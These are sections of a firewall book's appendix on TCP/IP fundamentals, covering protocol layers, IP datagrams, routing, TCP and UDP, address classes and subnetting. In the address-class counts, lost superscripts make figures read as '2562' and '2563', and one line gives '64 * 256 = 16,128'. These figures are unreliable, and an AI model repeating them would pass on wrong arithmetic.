The Application Layer is the level of the protocol hierarchy where user-accessed network processes reside. In this text a TCP/IP application is any network process that occurs above the Transport Layer. This includes all of the processes that users directly interact with, as well as other processes at this level that users are not necessarily aware of.

Presentation Layer

For cooperating applications to exchange data, they must agree about how data is represented. In OSI, this layer provides standard data presentation routines. This function is handled within the applications in TCP/IP.

Session Layer

As with the Presentation Layer, the Session Layer is not identifiable as a separate layer in the TCP/IP protocol hierarchy. The OSI Session Layer manages the sessions (connection) between cooperating applications. In TCP/IP, this function largely occurs in the Transport Layer, and the term "session" is not used. For TCP/IP, the terms "socket" and "port" are used to describe the path over which cooperating applications communicate.

Transport Layer

Much of our discussion of TCP/IP is directed to the protocols that occur in the Transport Layer. The Transport Layer in the OSI reference model guarantees that the receiver gets the data exactly as it was sent. In TCP/IP this function is performed by the Transmission Control Protocol (TCP). However, TCP/IP offers a second Transport Layer service, User Datagram Protocol (UDP) that does not perform the end-to-end reliability checks.

Network Layer

The Network Layer manages connections across the network and isolates the upper layer protocols from the details of the underlying network. The Internet Protocol (IP), which isolates the upper layers from the underlying network and handles the addressing and delivery of data, is usually described as TCP/IP's Network Layer.

Data Link Layer

The reliable delivery of data across the underlying physical network is handled by the Data Link Layer. TCP/IP rarely creates protocols in the Data Link Layer. Most RFCs that relate to the Data Link Layer talk about how IP can make use of existing data link protocols, such as Ethernet, FDDI, ATM, and so on.

Physical Layer

The physical layer defines the characteristics of the hardware needed to carry the data transmission signal. Things such as voltage levels, and the number and location of interface pins, are defined in this layer. Examples of standards at the Physical Layer are interface connectors such as RS232C and V.35, and standards for local area network wiring such as IEEE 802.3. TCP/IP does not define physical standards; it makes use of existing standards.

The terminology of the OSI reference model helps us describe TCP/IP, but to fully understand it, we must use an architectural model that more closely matches the structure of TCP/IP. The next section introduces the protocol model we'll use to describe TCP/IP.

Previous: C.1 Introduction to TCP/IP | Building Internet Firewalls | Next: C.3 TCP/IP Protocol Architecture
C.1 Introduction to TCP/IP | Book Index | C.3 TCP/IP Protocol Architecture


[Appendix C] C.3 TCP/IP Protocol Architecture

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.2 A Data Communications Model Appendix C
TCP/IP Fundamentals 		Next: C.4 Network Access Layer

C.3 TCP/IP Protocol Architecture

While there is no universal agreement about how to describe TCP/IP with a layered model, it is generally viewed as being composed of fewer layers than the seven used in the OSI model. Most descriptions of TCP/IP define three to five functional levels in the protocol architecture. The four-level model illustrated in Figure 13.6 is based on the three layers (Application, Host-to-Host, and Network Access) shown in the DOD Protocol Model in the DDN Protocol Handbook, Volume 1, with the addition of a separate Internet layer. This model provides a reasonable pictorial representation of the layers in the TCP/IP protocol hierarchy.

Figure 13.6: Layers in the TCP/IP protocol architecture

As in the OSI model, data is passed down the stack when it is being sent to the net, and up the stack when it is being received from the network. The four-layered structure of TCP/IP is seen in the way data is handled as it passes down the protocol stack from the Application Layer to the underlying physical network. Each layer in the stack adds control information to ensure proper delivery. This control information is called a header because it is placed in front of the data to be transmitted. Each layer treats all of the information it receives from the layer above as data and places its own header in front of that information. The addition of delivery information at every layer is called encapsulation. (Figure 13.7 illustrates this.) When data is received, the opposite happens. Each layer strips off its header before passing the data on to the layer above. As information flows back up the stack, information received from a lower layer is interpreted as both a header and data.

Figure 13.7: Data encapsulation

Each layer has its own independent data structures. Conceptually a layer is unaware of the data structures used by the layers above and below it. In reality, the data structures of a layer are designed to be compatible with the structures used by the surrounding layers for the sake of more efficient data transmission. Still, each layer has its own data structure and its own terminology to describe that structure.

Let's look more closely at the function of each layer, working our way up from the Network Access Layer to the Application Layer.

Previous: C.2 A Data Communications Model | Building Internet Firewalls | Next: C.4 Network Access Layer
C.2 A Data Communications Model | Book Index | C.4 Network Access Layer


[Appendix C] C.4 Network Access Layer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.3 TCP/IP Protocol Architecture Appendix C
TCP/IP Fundamentals 		Next: C.5 Internet Layer

C.4 Network Access Layer

The Network Access Layer is the lowest layer of the TCP/IP protocol hierarchy. The protocols in this layer provide the means for the system to deliver data to the other devices on a directly attached network. It defines how to use the network to transmit an IP datagram.

Unlike higher-level protocols, Network Access Layer protocols must know the details of the underlying network (its packet structure, addressing, etc.) to correctly format the data being transmitted to comply with the network constraints. The TCP/IP Network Access Layer can encompass the functions of all three lower layers of the OSI Reference Model (Network, Data Link, and Physical).

The Network Access Layer is often ignored by users. The design of TCP/IP hides the function of the lower layers, and the better known protocols (IP, TCP, UDP, etc.) are all higher-level protocols. As new hardware technologies appear, new Network Access protocols must be developed so that TCP/IP networks can use the new hardware. Consequently, there are many access protocols - one for each physical network standard.

Functions performed at this level include encapsulation of IP datagrams into the frames transmitted by the network, and mapping of IP addresses to the physical addresses used by the network. One of TCP/IP's strengths is its addressing scheme that uniquely identifies every host on the Internet. This IP address must be converted into whatever address is appropriate for the physical network over which the datagram is transmitted.

Two examples of RFCs that define network access layer protocols are:

  • RFC 826, Address Resolution Protocol (ARP), which maps IP addresses to Ethernet addresses

  • RFC 894, A Standard for the Transmission of IP Datagrams over Ethernet Networks, which specifies how IP datagrams are encapsulated for transmission over Ethernet networks

As implemented in UNIX, protocols in this layer often appear as a combination of device drivers and related programs. The modules that are identified with network device names usually encapsulate and deliver the data to the network, while separate programs perform related functions such as address mapping.

Previous: C.3 TCP/IP Protocol Architecture | Building Internet Firewalls | Next: C.5 Internet Layer
C.3 TCP/IP Protocol Architecture | Book Index | C.5 Internet Layer


[Appendix C] C.5 Internet Layer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.4 Network Access Layer Appendix C
TCP/IP Fundamentals 		Next: C.6 Transport Layer

C.5 Internet Layer

The layer above the Network Access Layer in the protocol hierarchy is the Internet Layer. The Internet Protocol, RFC 791, is the heart of TCP/IP and the most important protocol in the Internet Layer. IP provides the basic packet delivery service on which TCP/IP networks are built. All protocols, in the layers above IP (TCP, UPD) and below it (Ethernet, FDDI, ATM, etc.) use IP to deliver data. All TCP/IP data flows through IP, incoming and outgoing, regardless of its final destination.

C.5.1 Internet Protocol

IP is the building block of the Internet. Its functions include:

  • Defining the datagram, which is the basic unit of transmission in the Internet

  • Defining the Internet addressing scheme

  • Moving data between the Network Access Layer and the Host-to-Host Transport Layer

  • Routing datagrams to remote hosts

  • Performing fragmentation and reassembly of datagrams

But before describing these functions in more detail, let's look at some of IP's characteristics. First, IP is a connectionless protocol. This means that IP does not exchange control information (called a handshake) to establish an end-to-end connection before transmitting data. In contrast, a connection-oriented protocol exchanges control information with the remote system to verify that it is ready to receive data before sending it. When the handshaking is successful, the systems are said to have established a connection. IP relies on protocols in other layers to establish the connection if they require connection-oriented service.

IP also relies on protocols in the other layers to provide error detection and error recovery. The Internet Protocol is sometimes called an unreliable protocol because it contains no error detection and recovery code. This is not to say that the IP protocol cannot be relied on - quite the contrary. IP can be relied upon to accurately deliver your data to the connected network, but it doesn't check whether the data was correctly received. Protocols in other layers of the TCP/IP architecture provide this checking when it is required.

C.5.1.1 The datagram

The TCP/IP protocols were built to transmit data over the ARPANET, which was a packet switching network. A packet is a block of data that carries with it the information necessary to deliver it - in a manner similar to a postal letter, which has an address written on its envelope. A packet switching network uses the addressing information in the packets to switch packets from one physical network to another, moving them toward their final destination. Each packet travels the network independently of any other packet.

The datagram is the packet format defined by IP. Figure 13.8 is a pictorial representation of an IP datagram. The first five or six 32-bit words of the datagram are control information called the header. By default, the header is five words long; the sixth word is optional. Because the header's length is variable, it includes a field called Internet Header Length (IHL) that indicates the header's length in words. The header contains all the information necessary to deliver the packet.

A Note About Terminology

This adapted appendix is very precise in its definitions and usage of terms such as packet and datagram. Throughout the rest of this book, we tend to be more relaxed about the terminology, and simply use the term "packet" regardless of what layer of the protocol stack we're discussing.

Figure 13.8: IP datagram format

IP delivers the datagram by checking the Destination Address in word 5 of the header. The Destination Address is a standard 32-bit IP address that identifies the destination network and the specific host on that network. (The format of IP addresses is explained later in this appendix.) If the Destination Address is the address of a host on the directly attached network, the packet is delivered directly to the destination. If the Destination Address is not on the local network, the packet is passed to a gateway for delivery. Gateways are devices that switch packets between the different physical networks. Deciding which gateway to use is called routing. IP makes the routing decision for each individual packet.

C.5.1.2 Routing datagrams

Internet gateways are commonly (and perhaps more accurately) referred to as IP routers because they use IP to route packets between networks. In traditional TCP/IP jargon, there are only two types of network devices: gateways and hosts. Gateways forward packets between networks and hosts don't. However, if a host is connected to more than one network (called a multi-homed host), it can forward packets between the networks. When a multi-homed host forwards packets, it acts like any other gateway and is considered to be a gateway. Current data communications terminology sometimes makes a distinction between gateways and routers,[2] but we'll use the terms gateway and IP router interchangeably.

[2] In current terminology, a gateway moves data between different protocols and a router moves data between different networks. So a system that moves mail between TCP/IP and OSI is a gateway, but a traditional IP gateway is a router.

Figure 13.9 shows the use of gateways to forward packets. The hosts (or end systems) process packets through all four protocol layers, while the gateways (or intermediate systems) process the packets only up to the Internet Layer where the routing decisions are made.

Figure 13.9: Routing through gateways

Systems can only deliver packets to other devices attached to the same physical network. Packets from A1, destined for host C1, are forwarded through gateways G1 and G2. Host A1 first delivers the packet to gateway G1, with which it shares network A. Gateway G1 delivers the packet to G2, over network B. Gateway G2 then delivers the packet directly to host C1, because they are both attached to network C. Host A1 has no knowledge of any gateways beyond gateway G1. It sends packets destined for both networks C and B to that local gateway, and then relies on that gateway to properly forward the packets along the path to their destinations. Likewise, host C1 would send its packets to G2, in order to reach a host on network A, as well as any host on network B.

Figure 13.10 shows another view of routing. This figure emphasizes that the underlying physical networks a datagram travels through may be different and even incompatible. Host A1 on the token ring network routes the datagram through gateway G1, to reach host C1 on the Ethernet. Gateway G1 forwards the data through the X.25 network to gateway G2, for delivery to C1. The datagram traverses three physically different networks, but eventually arrives intact at C1.

Figure 13.10: Networks, gateways, and hosts

C.5.1.3 Fragmenting datagrams

As a datagram is routed through different networks, it may be necessary for the IP module in a gateway to divide the datagram into smaller pieces. A datagram received from one network may be too large to be transmitted in a single packet on a different network. This condition only occurs when a gateway interconnects dissimilar physical networks.

Each type of network has a maximum transmission unit (MTU), which is the largest packet it can transfer. If the datagram received from one network is longer than the other network's MTU, it is necessary to divide the datagram into smaller fragments for transmission. This process is called fragmentation. Think of a train delivering a load of steel. Each railway car can carry more steel than the trucks that will take it along the highway; so each railway car is unloaded onto many different trucks. In the same way that a railroad is physically different from a highway, an Ethernet is physically different from an X.25 network; IP must break an Ethernet's relatively large packets into smaller packets before it can transmit them over an X.25 network.

The format of each fragment is the same as the format of any normal datagram. Header word 2 contains information that identifies each datagram fragment and provides information about how to reassemble the fragments back into the original datagram. The Identification field identifies what datagram the fragment belongs to, and the Fragmentation Offset field tells what piece of the datagram this fragment is. The Flags field has a More Fragments bit that tells IP if it has assembled all of the datagram fragments.

C.5.1.4 Passing datagrams to the transport layer

When IP receives a datagram that is addressed to the local host, it must pass the data portion of the datagram to the correct Transport Layer protocol. This is done by using the Protocol Number from word 3 of the datagram header. Each Transport Layer protocol has a unique protocol number that identifies it to IP. Protocol numbers are discussed later in this appendix.

C.5.2 Internet Control Message Protocol

An integral part of IP is the Internet Control Message Protocol (ICMP) defined in RFC 792. This protocol is closely associated with the Internet Layer and uses the IP datagram delivery facility to send its messages. ICMP sends messages that perform the following control, error reporting, and informational functions for TCP/IP:

Flow control

When datagrams arrive too fast for processing, the destination host or an intermediate gateway sends an ICMP Source Quench Message back to the sender. This tells the source to temporarily stop sending datagrams.

Detecting unreachable destinations

When a destination is unreachable, the system detecting the problem sends a Destination Unreachable Message to the datagram's source. If the unreachable destination is a network or host, the message is sent by an intermediate gateway. But if the destination is an unreachable port, the destination host sends the message. (We discuss ports later in this appendix.)

Redirecting routes

A gateway sends the ICMP Redirect Message to tell a host to use another gateway, presumably because the other gateway is a better choice. This message can only be used when the source host is on the same network as both gateways. To better understand this, refer to Figure 13.10. If a host on the X.25 network sent a datagram to G1, it would be possible for G1 to redirect that host to G2 because the host, G1, and G2 are all attached to the same network. On the other hand, if a host on the token ring network sent a datagram to G1, the host could not be redirected to use G2. This is because G2 is not attached to the token ring.

Checking remote hosts

A host can send the ICMP Echo Message to see if a remote system's IP is up and operational. When a system receives an echo message, it sends the same packet back to the source host. The UNIX ping command uses this message.

Previous: C.4 Network Access Layer | Building Internet Firewalls | Next: C.6 Transport Layer
C.4 Network Access Layer | Book Index | C.6 Transport Layer


[Appendix C] C.6 Transport Layer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.5 Internet Layer Appendix C
TCP/IP Fundamentals 		Next: C.7 Application Layer

C.6 Transport Layer

The protocol layer just above the Internet Layer is the Host-to-Host Transport Layer. This name is usually shortened to Transport Layer. The two most important protocols in the Transport Layer are Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP provides reliable data delivery service with end-to-end error detection and correction. UDP provides low-overhead, connectionless datagram delivery service. Both protocols deliver data between the Application Layer and the Internet Layer. Applications programmers can choose whichever service is more appropriate for their specific applications.

C.6.1 User Datagram Protocol

The User Datagram Protocol gives application programs direct access to a datagram delivery service, like the delivery service that IP provides. This allows applications to exchange messages over the network with a minimum of protocol overhead.

UDP is an unreliable, connectionless datagram protocol. (As noted before, "unreliable" merely means that there are no techniques in the protocol for verifying that the data reached the other end of the network correctly.) Within your computer, UDP will deliver data correctly. UDP uses 16-bit Source Port and Destination Port numbers in word 1 of the message header, to deliver data to the correct applications process. Figure 13.11 shows the UDP message format.

Figure 13.11: UDP message format

Why do applications programmers choose UDP as a data transport service? There are a number of good reasons. If the amount of data being transmitted is small, the overhead of creating connections and ensuring reliable delivery may be greater than the work of retransmitting the entire data set. In this case, UDP is the most efficient choice for a Transport Layer protocol. Applications that fit a "query-response" model are also excellent candidates for using UDP. The response can be used as a positive acknowledgment to the query. If a response isn't received within a certain time period, the application just sends another query. Still other applications provide their own techniques for reliable data delivery, and don't require that service from the transport layer protocol. Imposing another layer of acknowledgment on any of these types of applications is inefficient.

C.6.2 Transmission Control Protocol

Applications that require the transport protocol to provide reliable data delivery use TCP because it verifies that data is delivered across the network accurately and in the proper sequence. TCP is a reliable, connection-oriented, byte-stream protocol. Let's look at each of the terms - reliable, connection-oriented, and byte-stream - in more detail.

TCP provides reliability with a mechanism called Positive Acknowledgment with Re-transmission (PAR). Simply stated, a system using PAR sends the data again, unless it hears from the remote system that the data arrived okay. The unit of data exchanged between cooperating TCP modules is called a segment (see Figure 13.12). Each segment contains a checksum that the recipient uses to verify that the data is undamaged. If the data segment is received undamaged, the receiver sends a positive acknowledgment back to the sender. If the data segment is damaged, the receiver discards it. After an appropriate time-out period, the sending TCP module retransmits any segment for which no positive acknowledgment has been received.

Figure 13.12: TCP segment format

TCP is connection-oriented. It establishes a logical end-to-end connection between the two communicating hosts. Control information, called a handshake, is exchanged between the two endpoints to establish a dialogue before data is transmitted. TCP indicates the control function of a segment by setting the appropriate bit in the Flags field in word 4 of the segment header.

The type of handshake used by TCP is called a three-way handshake because three segments are exchanged. Figure 13.13 shows the simplest form of the three-way handshake. Host A begins the connection by sending host B a segment with the "Synchronize sequence numbers" (SYN) bit set. This segment tells host B what sequence number host A will use as a starting number for its segments. (Sequence numbers are used to keep data in the proper order.) Host B responds to A with a segment that has the "Acknowledgment" (ACK) and SYN bits set. B's segment acknowledges the receipt of A's segment, and informs A which Sequence Number host B will start with. Finally, host A sends a segment that acknowledges receipt of B's segment, and transfers the first actual data.

In this figure, note that the first packet in each direction has the SYN bit set, and all subsequent packets have the ACK bit set.

Figure 13.13: Three-way handshake

After this exchange, host A's TCP has positive evidence that the remote TCP is alive and ready to receive data. As soon as the connection is established, data can be transferred. When the cooperating modules have concluded the data transfers, they will exchange a three-way handshake with segments containing the "No more data from sender" bit (called the FIN bit) to close the connection. It is the end-to-end exchange of data that provides the logical connection between the two systems.

TCP views the data it sends as a continuous stream of bytes, not as independent packets. Therefore, TCP takes care to maintain the sequence in which bytes are sent and received. The "Sequence Number" and "Acknowledgment Number" fields in the TCP segment header keep track of the bytes.

The TCP standard does not require that each system start numbering bytes with any specific number; each system chooses the number it will use as a starting point. To keep track of the data stream correctly, each end of the connection must know the other end's initial number. The two ends of the connection synchronize byte-numbering systems by exchanging SYN segments during the handshake. The "Sequence Number" field in the SYN segment contains the Initial Sequence Number (ISN), which is the starting point for the byte-numbering system. The ISN is chosen at random.

Each byte of data is numbered sequentially from the ISN, so the first real byte of data sent has a sequence number of ISN+1. The Sequence Number in the header of a data segment identifies the sequential position in the data stream of the first data byte in the segment. For example, if the first byte in the data stream was sequence number 1 (ISN=0) and 4,000 bytes of data have already been transferred, then the first byte of data in the current segment is byte 4001, and the Sequence Number would be 4001.

The Acknowledgment Segment (ACK) performs two functions: positive acknowledgment and flow control. The acknowledgment tells the sender how much data has been received, and how much more the receiver can accept. The Acknowledgment Number is the sequence number of the last byte received at the remote end. The standard does not require an individual acknowledgment for every packet. The acknowledgment number is a positive acknowledgment of all bytes up through that number. For example, if the first byte sent was numbered 1 and 2,000 bytes have been successfully received, the Acknowledgment Number would be 2000.

The Window field contains the number of bytes the remote end is able to accept. If the receiver is capable of accepting 6,000 more bytes, the Window would be 6000. The window indicates to the sender that it can continue sending segments as long as the total number of bytes that it sends is smaller than the window of bytes that the receiver can accept. The receiver controls the flow of bytes from the sender by changing the size of the window. A zero window tells the sender to cease transmission until it receives a non-zero window value.

Figure 13.14 shows a TCP data stream that starts with an Initial Sequence Number of 0. The receiving system has received and acknowledged 2,000 bytes, so the current Acknowledgment Number is 2000. The receiver also has enough buffer space for another 6,000 bytes, so it has advertised a Window of 6000. The sender is currently sending a segment of 1,000 bytes starting with Sequence Number 4001. The sender has received no acknowledgment for the bytes from 2001 on, but continues sending data as long as it is within the window. If the sender fills the window and receives no acknowledgment of the data previously sent, it will, after an appropriate time-out, send the data again starting from the first unacknowledged byte. In Figure 13.14, retransmission would start from byte 2001 if no further acknowledgments are received. This procedure ensures that data is reliably received at the far end of the network.

TCP is also responsible for delivering data received from IP to the correct application. The application that the data is bound for is identified by a 16-bit number called the port number. The Source Port and Destination Port are contained in the first word of the segment header. Correctly passing data to and from the Application Layer is an important part of what the Transport Layer services do.

Figure 13.14: TCP data stream

Previous: C.5 Internet Layer | Building Internet Firewalls | Next: C.7 Application Layer
C.5 Internet Layer | Book Index | C.7 Application Layer


[Appendix C] C.7 Application Layer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.6 Transport Layer Appendix C
TCP/IP Fundamentals 		Next: C.8 Addressing, Routing, and Multiplexing

C.7 Application Layer

At the top of the TCP/IP protocol architecture is the Application Layer. This layer includes all processes that use the Transport Layer protocols to deliver data. There are many applications protocols. Most provide user services, and new services are always being added to this layer. The most widely known and implemented applications protocols are:

  • Telnet, the Network Terminal Protocol, provides remote login over the network

  • FTP, the File Transfer Protocol, is used for interactive file transfer

  • SMTP, the Simple Mail Transfer Protocol delivers electronic mail

While FTP, SMTP, and Telnet are the most widely implemented TCP/IP applications, you will work with many others as both a user and a system administrator. Some other commonly used TCP/IP applications are:

Domain Name Service (DNS)

Also called name service, this application maps IP addresses to the names assigned to network devices.

Routing Information Protocol (RIP)

Routing is central to the way TCP/IP works. RIP is used by network devices to exchange routing information.

Network File System (NFS)

This protocol allows files to be shared by various hosts on the network.

Some protocols, such as Telnet and FTP, can only be used if the user has some knowledge of the network. Other protocols, like RIP, run without the user even knowing that they exist. As system administrator, you are aware of all these applications and all the protocols in the other TCP/IP layers.

Figure 13.15 shows the hierarchy of protocols in an imaginary computer. As you look at this figure, please remember that reducing the complexity of a protocol stack to a block diagram is, by its very nature, an oversimplification. This illustration is only to help you visualize the relationship of the many protocols in a single host. Not all of the protocols shown in Figure 13.15 have been discussed yet, but it should be helpful to get an idea of the overall structure.

Figure 13.15: TCP/IP protocols inside a sample gateway

At the top of the figure are the applications protocols, like FTP and Telnet. Lines run from each box to the lower layer service that the protocol uses. We see that FTP, Telnet, and SMTP rely primarily on TCP; while NFS, DNS, and RIP rely primarily on UDP. A few application-type protocols, like the Exterior Gateway Protocol (EGP), another routing protocol, do not use Transport Layer services; they use IP services directly.

Below the applications are the Transport Layer protocols: TCP and UDP. They interface directly with IP. All data, in and out of the system, flows through IP. IP delivers data from the upper layers to the correct network, and it delivers data from the network to the correct transport service. Likewise, the transport services deliver the data they receive from IP to the correct application.

Previous: C.6 Transport Layer | Building Internet Firewalls | Next: C.8 Addressing, Routing, and Multiplexing
C.6 Transport Layer | Book Index | C.8 Addressing, Routing, and Multiplexing


[Appendix C] C.8 Addressing, Routing, and Multiplexing

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.7 Application Layer Appendix C
TCP/IP Fundamentals 		Next: C.9 The IP Address

C.8 Addressing, Routing, and Multiplexing

To deliver data between two Internet hosts, it is necessary to move the data across the network to the correct host, and within that host to the correct user or process. TCP/IP uses three schemes to accomplish these tasks:

Addressing

IP addresses, which uniquely identify every host on the Internet, deliver data to the correct host.

Routing

Gateways deliver data to the correct network.

Multiplexing

Protocol and port numbers deliver data to the correct software module within the host.

Each of these functions - addressing between hosts, routing between networks, and multiplexing between layers - is necessary to send data between two cooperating applications across the Internet. Let's examine each of these functions in detail.

To illustrate these concepts and provide consistent examples, we use an imaginary corporate network. This network's structure, or topology, is shown in Figure 13.16.

Figure 13.16: Sample network

The icons in the figure represent computer systems. There are, of course, several other imaginary systems on our imaginary network. You'll just have to use your imagination! But we'll use the hosts peanut (a workstation) and almond (a system that serves as a gateway) for most of our examples. The thick line is our computer center Ethernet, and the circle is the local network that connects our various corporate networks. The cloud is Milnet, one of the major segments of the Internet. What the numbers are, how they're used, and how datagrams are delivered are the topics of this appendix.

Previous: C.7 Application Layer | Building Internet Firewalls | Next: C.9 The IP Address
C.7 Application Layer | Book Index | C.9 The IP Address


[Appendix C] C.9 The IP Address

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.8 Addressing, Routing, and Multiplexing Appendix C
TCP/IP Fundamentals 		Next: C.10 Internet Routing Architecture

C.9 The IP Address

IP moves data between hosts in the form of datagrams. Each datagram is delivered to the address contained in the Destination Address (word 5) of the datagram's header. The Destination Address is a standard 32-bit IP address that contains sufficient information to uniquely identify a network and a specific host on that network.

An IP address contains a network part and a host part, but the format of these parts is not the same in every IP address. The number of address bits used to identify the network, and the number used to identify the host, vary according to the class of the address. The three main address classes are class A, class B, and class C. The following table summarizes the characteristics of each address class.

 | Bits in | Range of Network | Network | Host
Class | First Byte | Addresses | Portion | Portion
A | 0xxxxxxx | 0.0.0.0 - 127.0.0.0 | 1 byte | 3 bytes
B | 10xxxxxx | 128.0.0.0 - 191.255.0.0 | 2 bytes | 2 bytes
C | 110xxxxx | 192.0.0.0 - 223.255.255.0 | 3 bytes | 1 byte
D & | 111xxxxx | 224.0.0.0 - 255.255.255.0 | Special/ | -
E |  |  | reserved |
 |  |  | Multicast |

By examining the first few bits of an address, IP software can quickly determine the address' class, and therefore its structure. IP follows these rules to determine the address class; the table below summarizes them:

You can compute the number of nets as follows (not relevant for Class D and E networks):

  • Class A: 128

  • Class B: 64 * 256 = 16,128

  • Class C: 32 * 2562 = 2,097,152

You can compute the number of hosts per net as follows (not relevant for Class D and E networks):

  • Class A: 2563 = 16,777,216

  • Class B: 2562 = 65,536

  • Class C: 256

The following further explains the characteristics of the address classes:

  • If the first bit of an IP address is 0, it is the address of a class A network. The first bit of a class A address identifies the address class. The next seven bits identify the network, and the last 24 bits identify the host. There are fewer than 128 class A network numbers, but each class A network can be composed of millions of hosts.

  • If the first two bits of the address are 1 0, it is a class B network address. The first two bits identify class; the next fourteen bits identify the network; and the last sixteen bits identify the host. There are thousands of class B network numbers, and each class B network can contain thousands of hosts.

  • If the first three bits of the address are 1 1 0, it is a class C network address. In a class C address, the first three bits are class identifiers; the next 21 bits are the network address; and the last eight bits identify the host. There are millions of class C network numbers, but each class C network is composed of fewer than 254 hosts.

  • If the first three bits of the address are 1 1 1, it is a special reserved address. These addresses are sometimes called class D addresses, but they don't really refer to specific networks. The Multicast addresses are used to address groups of computers all at one time. Multicast addresses identify a group of computers that share a common protocol, as opposed to a group of computers that share a common network.

Luckily, this is not as complicated as it sounds. IP addresses are usually written as four decimal numbers separated by dots (periods).[3]

[3] Addresses are occasionally written in other formats (e.g., as hexadecimal numbers). However, the "dot" notation form is the most widely used. Whatever the notation, the structure of the address is the same.

Each of the four numbers is in the range 0-255 (the decimal values possible for a single byte). Because the bits that identify class are contiguous with the network bits of the address, we can lump them together and look at the address as composed of full bytes of network address and full bytes of host address. A first byte value:

  • Less than 128 indicates a class A address; the first byte is the network number, and the next three bytes are the host address.

  • From 128 to 191 is a class B address; the first two bytes identify the network, and the last two bytes identify the host.

  • From 192 to 223 is a class C address; the first three bytes are the network address, and the last byte is the host number.

  • Greater than 223, indicates the address is reserved. We can ignore reserved addresses.

Figure 13.17 illustrates how the address structure varies with address class. The class A address is 26.104.0.19. The first bit of this address is 0, so the address is interpreted as host 104.0.19 on network 26. One byte specifies the network, and three bytes specify the host. In the address 128.66.12.1, the two high-order bits are 1 0 so the address refers to host 12.1 on network 128.66. Two bytes identify the network, and two identify the host. Finally, in the class C example, 192.178.16.1, the three high-order bits are 1 1 0, so this is the address of host 1 on network 192.178.16: three network bytes and one host byte.

Figure 13.17: IP address structure

Not all network or host addresses are available for use. We have already said that addresses with a first byte greater than 223 are reserved. There are also two class A addresses, 0 and 127, that are reserved for special uses. Network 0 designates the default route and network 127 is the loopback address. The default route is used to simplify the routing information IP must handle. The loopback address simplifies network applications by allowing the local host to be addressed in the same manner as a remote host. We use these special network addresses when configuring a host.

There are also some host addresses reserved for special uses. In all network classes, host numbers 0 and 255 are reserved. An IP address with all host bits set to zero identifies the network itself. For example, 26.0.0.0 refers to network 26, and 128.66.0.0 refers to network 128.66. Addresses in this form are used in routing table listings to refer to entire networks.

An IP address with all bits set to one is a broadcast address.[4] A broadcast address is used to simultaneously address every host on a network. The broadcast address for network 128.66 is 128.66.255.255. A datagram sent to this address is delivered to every individual host on network 128.66.

[4] Unfortunately there are implementation-specific variations in broadcast addresses.

IP addresses are often called host addresses. While this is common usage, it is slightly misleading. IP addresses are assigned to network interfaces, not to computer systems. A gateway, such as almond (see Figure 13.16), has a different address for each network it is connected to. The gateway is known to other devices by the address associated with the network that it shares with those devices. For example, peanut addresses almond as 128.66.12.1, while Milnet hosts address it as 26.104.0.19.

IP uses the network portion of the address to route the datagram between networks. The full address, including the host information, is used to make final delivery when the datagram reaches the destination network.

C.9.1 Address Depletion

The IP address, which provides universal addressing across all networks of the Internet, is one of the great strengths of the TCP/IP protocol suite. However, the structure of the IP address does have some problems. The TCP/IP designers did not envision the enormous scale of today's network. When TCP/IP was being designed, networking was limited to large organizations that could afford substantial computer systems. The idea of a powerful UNIX system on every desktop did not exist. At that time, a 32-bit address seemed so large that it was divided into classes to reduce the processing load on routers, even though dividing the address into classes sharply reduced the number of host addresses actually available for use. For example, assigning a large network a single class B address, instead of six class C addresses, reduces the load on the router because the router only needs to keep one route for that entire organization. However, the organization that was given the class B address probably does not have 64,000 computers, so most of the host addresses available to the organization will never be assigned.

The current address design, which favors routers over growth, is under critical strain from the rapid growth of the Internet. This is a major factor in the move from the current IP version 4 towards IP version 6 (IPv6).

C.9.2 Subnets

The standard structure of an IP address can be locally modified by using host address bits as additional network address bits. Essentially, the "dividing line" between network address bits and host address bits is moved, creating additional networks, but reducing the maximum number of hosts that can belong to each network. These newly designated network bits define a network within the larger network, called a subnet.

Organizations usually decide to subnet in order to overcome topological or organizational problems. Subnetting allows decentralized management of host addressing. With the standard addressing scheme, a single administrator is responsible for managing host addresses for the entire network. By subnetting, the administrator can delegate address assignment to smaller organizations within the overall organization, which may be a political expedient, if not a technical requirement. If you don't want to deal with the data processing department, assign them their own subnet and let them manage it themselves.

Subnetting can also be used to overcome hardware differences and distance limitations. IP routers can link dissimilar physical networks together, but only if each physical network has its own unique network address. Subnetting divides a single network address into many unique subnet addresses, so that each physical network can have its own unique address.

A subnet is defined by applying a bit mask, the subnet mask, to the IP address. If a bit is on in the mask, that equivalent bit in the address is interpreted as a network bit. If a bit in the mask is off, the bit belongs to the host part of the address. The subnet is only known locally. To the rest of the Internet, the address is still interpreted as a standard IP address.

For example, the subnet mask that would be associated with standard class B addresses is 255.255.0.0. The most commonly used subnet mask extends the network portion of a class B address by an additional byte. The subnet mask that does this is 255.255.255.0; all bits on in the first three bytes, and all bits off in the last byte. The first two bytes define the class B network; the third byte defines the the subnet address; the fourth byte defines the host on that subnet.

Many network administrators prefer to use byte-oriented masks because they are easier to read and understand. However, defining subnet masks on byte boundaries is not a requirement. The subnet mask is bit-oriented and can be applied to any address class. For example, a small organization could subdivide a class C address into four subnets with the mask 255.255.255.192.[5] Applying this mask to a class C address defines the two high-order bits of the fourth byte as the subnet part of the address. This same mask, applied to a class B address, creates more than a thousand subnets because ten bits (the full third byte, and two bits of the fourth byte) are used to define the subnets (2^10=1024).

[5] This is just an illustration. A mask that creates four subnets is not a good idea because a subnet address of all ones and an address of all zeros are reserved addresses. Therefore two of the four subnets could not be used.

As subnets become more and more common, an alternative way of writing subnet masks is becoming popular: as "/bits" instead of as the four-octet netmask. For instance, "/24" specifies a 24-bit netmask, equivalent to 255.255.255.0, but much faster to write. The new nomenclature makes the assumption that your netmasks are made up of contiguous bits (i.e., that you never use a netmask of something like 255.0.255.0), but that's standard practice anyway.

